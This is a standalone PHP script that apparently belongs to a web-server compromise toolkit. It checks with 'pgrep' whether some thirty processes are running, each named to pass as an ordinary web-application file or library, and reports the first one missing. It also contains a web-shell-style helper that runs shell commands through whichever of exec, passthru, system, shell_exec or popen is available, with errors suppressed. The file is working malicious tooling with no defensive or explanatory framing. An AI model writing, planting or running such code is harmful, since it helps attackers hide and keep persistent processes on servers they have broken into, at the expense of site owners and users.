<?php   $files = ['masterRqmntsEN','admin.trash','edithelptopic','admin_files','quiz_grading','under_buttons','formtinymce','geo_zones','rss_folders','HTTPFetcher','updateSortOrder','colorConfig.ini','htmlcleaner','thinbasic','cache_secqaa','bs_play_media','opensearch_desc5','index.1317078934','ts.processor','jpgraph_log','account_check.js','default_items','export.inc','blacklist','Archive_Tar','bannerclient','users_actions','extgalleryMailer','mysqli.dbi.lib','URIFilter']; foreach ($files as $f) {     $res = @run("pgrep {$f}");     if (!preg_match('/\d+/', $res)) {         die("<f>{$f}</f>");     } } die('!ended!');  function run($in) {     $out = '';     if (function_exists('exec')) {         @exec($in, $out);         $out = @join("\n", $out);     } elseif (function_exists('passthru')) {         ob_start();         @passthru($in);         $out = ob_get_clean();     } elseif (function_exists('system')) {         ob_start();         @system($in);         $out = ob_get_clean();     } elseif (function_exists('shell_exec')) {         $out = shell_exec($in);     } elseif (is_resource($f = @popen($in, "r"))) {         $out = "";         while (!@feof($f))             $out .= fread($f, 1024);         pclose($f);     }     return $out; }